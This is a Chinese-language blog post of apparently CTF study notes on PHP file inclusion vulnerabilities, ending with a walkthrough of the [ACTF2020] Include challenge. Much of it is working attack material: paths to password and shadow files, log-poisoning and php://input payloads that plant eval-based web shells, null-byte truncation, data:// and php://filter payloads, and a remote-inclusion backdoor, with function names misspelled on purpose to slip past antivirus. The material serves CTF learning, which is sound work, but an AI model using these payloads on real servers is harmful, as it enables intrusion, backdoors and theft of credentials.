文件包含

文件包含漏洞

文件包含漏洞全面详解-CSDN博客

文件包含漏洞 | 狼组安全团队公开知识库

CTF·Web基础 | PureStream & Marblue

包含日志文件getshell – myles007 – 博客园

文件包含漏洞利用之包含Session文件 | CN-SEC 中文网

漏洞成因:

文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

使用条件:

equire()                        //找不到被包含的文件会产生致命错误,并停止脚本运行
include()                       //找不到被包含的文件只会产生警告,脚本继续执行
require_once()                  //与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()                  //与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
只要当文件内容位于 <?php ... ?> 标签内部(或使用短标签 <? ... ?>,如果启用)时,PHP 就会将其当作代码执行,不依赖拓展名

一般利用点形如:
include($_GET[‘参数’]);

这样这要get传参就可以控制被包含的哪个文件,当然对post也是一样。

利用方式:

1:直接通过路径读取:

可以通过如?参数=C:Windowssystem.ini直接路径读取,也可以通过如?参数=../../windows/system.ini读取(./表示工作目录,../表示上一级目录)

以下列出一些常用路径

Windows系统:

C:boot.ini       //查看系统版本
C:windowssystem32inetsrvMetaBase.xml       //IIS配置文件
C:windowsrepairsam       //存储Windows系统初次安装的密码
C:ProgramFilesmysqlmy.ini       //Mysql配置
C:ProgramFilesmysqldatamysqluser.MYD       //MySQL root密码
C:windowsphp.ini       //php配置信息

Linux/Unix系统:

/etc/password       //账户信息
/etc/shadow       //账户密码信息
/usr/local/app/apache2/conf/httpd.conf       //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf       //虚拟网站配置
/usr/local/app/php5/lib/php.ini       //PHP相关配置
/etc/httpd/conf/httpd.conf       //Apache配置文件
/etc/my.conf       //mysql配置文件

2:包含图片Getshell:

有时会过滤后缀,只能上传.jpg以及.png之类的,这时在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码,甚至可以直接创建后门文件:

<?php
    frite(fpen("shell.php","w"),'<?php val($_POST[123]);?>);
?>
//其实是fwrite,fopen,eval,但是如果这么写这份文件会被识别为后门文件被安全中心干碎,只好这么打了ww
//fwrite:将2的参数写入1指向的文件
//fopen:打开或创建一个文件
//w:如果文件不存在 → 创建它,如果文件已存在 → 清空内容,从头写入,文件指针定位在开头

3:绕过截断:

有时可能会是
include($_GET[‘参数’].".php");

这样包含文件时实际会查找“你定的文件名.php”,拼接了一个.php上去,这时可以这么打:

参数=你定的文件名%00
比如:
http://vuln.com/index.php?arg=1.jpg%00

%00会被解析为,这样底层认为为结束符不继续后面的。

4:Apache日志文件包含:

有的时候找不到可利用文件又没有文件上传可以用这个,Apache日志文件中的access.log文件记录了客户端每次请求的相关信息; 当我们访问一个不存在的资源时access.log文件仍然会记录这条资源信息。所以可以先http/目标网址/<?php phpinfo(); ?>,虽然找不到这个文件但是access.log会记录这个信息,此时我们再包含access.log文件就可以执行<?php phpinfo(); ?>了,顺便说以下php info()是查看php配置的。原理之前说过,只要当文件内容位于 <?php … ?> 标签内部(或使用短标签 <? … ?>,如果启用)时,PHP 就会将其当作代码执行,不依赖拓展名,所以只要文件里有php写的代码就能执行。

curl -v "http://target.com/?page=<?php @eval($_POST['cmd']); ?>"
然后
http://target.com/?page=/var/log/apache2/access.log
或
http://target.com/?page=/etc/httpd/logs/access_log
win默认位置:
D:xamppapachelogsaccess.log
D:xamppapachelogserror.log

5:SESSION文件包含:

session是什么:Session,在网络应用中通常被称为“会话控制”,是服务器为了保存用户状态而创建的一个特殊的对象。简单来说,Session就是一个用于存储信息的对象

条件:找到Session内的可控变量,Session文件可读写,并且知道存储路径,php的session文件的保存路径可以在phpinfo的session.save_pathhttp://target.com/?page=/var/log/apache2/access.log看到。

利用:可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可,根本原理跟Apache日志文件包含其实差不多。

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

6:使用php伪协议:

file://:用于访问本地文件,不受allow_url_fopen与allow_url_include的影响。

使用格式如下:

#1. file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://C:phpStudyPHPTutorialWWWphpinfo.txt

#2. file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=file://./phpinfo.txt

#3. file://[网络路径和文件名]
http://127.0.0.1/include.php?file=file://http://127.0.0.1/phpinfo.txt

php://:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和php://input,php://filter用于读取源码,php://input用于执行php代码

格式:

#1. php://filter/read=convert.base64-encode/resource=[文件名]  //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
其中read是可选参数,有read和write,字面意思就是读和写
convert.base64-encode是过滤器,过滤器主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开)

#2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>

#3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

然后下面对各种过滤器补充一下吧:

string.rot13:      对字符串进行 ROT13 编码(字母循环移位13位)
string.toupper:      转换为大写
string.tolower:      转换为小写
convert.base64-encode:      Base64 编码
convert.base64-decode:      Base64 解码
convert.quoted-printable-encode:      Quoted-Printable 编码
convert.quoted-printable-decode:      Quoted-Printable 解码
convert.iconv.<from>-<to>:      字符编码转换(需 iconv 扩展)
zlib.deflate:      使用 zlib 压缩
zlib.inflate:      解压 zlib 数据
bzip2.compress:      BZip2 压缩
bzip2.decompress:      BZip2 解压
openssl.*:      OpenSSL 加密(如 openssl.rc4, openssl.aes-128-cbc)

data://:通常可以用来执行PHP代码

使用条件:allow_url_fopen:on且allow_url_include :on,PHP>=5.2.0

使用格式如下:

#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

zip:// 以及compress.bzip2://和compress.zlib://:均属于压缩流,可以访问压缩文件中的子文件,不需要指定后缀名

使用格式如下:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
<!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传-->
http://127.0.0.1/include.php?file=zip://C:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
<!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)-->
http://127.0.0.1/include.php?file=compress.bzip2://C:phpStudyPHPTutorialWWWphpinfo.bz2

3.compress.zlib://file.gz 
<!--压缩 phpinfo.txt 为 phpinfo.gz-->
http://127.0.0.1/include.php?file=compress.zlib://C:phpStudyPHPTutorialWWWphpinfo.gz

7:远程文件包含:

使用条件:php.ini中开启allow_url_include、allow_url_fopen选项,这样可以通过url包含不在本地的文件

格式:

?参数=http://路径/shell.txt(木马文件名,此处以shell.txt为例)

其中shell.txt的内容:

<?php
    futs(fpen('./shell.php','w'),'<?php @val($_POST[123]) ?>');
?>
//其实是fputs,fopen,eval,fputs功能跟fwrite一样

补充:

如果要求文件包含后的内容指定,如:file_get_contents($text,'r')==="welcome to the zjctf"
那么可以通过伪协议写入;
用php://input伪协议以POST传参'welcome to the zjctf '
或:
?text=data://text/plain,welcome to the zjctf
保险起见进行base64编码:
如果要求传参包含指定字段,可以加一个/object/在伪协议中,如:
php://filter/read=convert.base64-encode/woofers/resource=flag.php

例题:[ACTF2020 新生赛]Include,buu上面web方向第三道就是

进来过后先看到一个空白界面:

0fd7d3b6-e3fe-423d-97e4-e8b4f8464664

点tips试试:

6233cf58-0f03-4da7-b1d6-7f20c6769e7f

题目名include(),有端联想文件包含,然后看url推测参数是file,可是file=flag.php说明直接读文件行不通那么就用php伪协议php://filter,构造如下:

?file=php://filter/read=convert.base64-encode/resource=flag.php

然后发现:

f32a5a21-0def-4fc5-92b3-cbe735f5fa31

解码:

a86de18d-9e61-4b1a-828f-e66263e63926

出flag,然后也可以发现为什么直接读不行:flag被注释掉了而如果直接读文件会当作php代码执行只打can you巴拉巴拉,可是用php://filter不会执行,而是直接读源码,所以可以爆flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇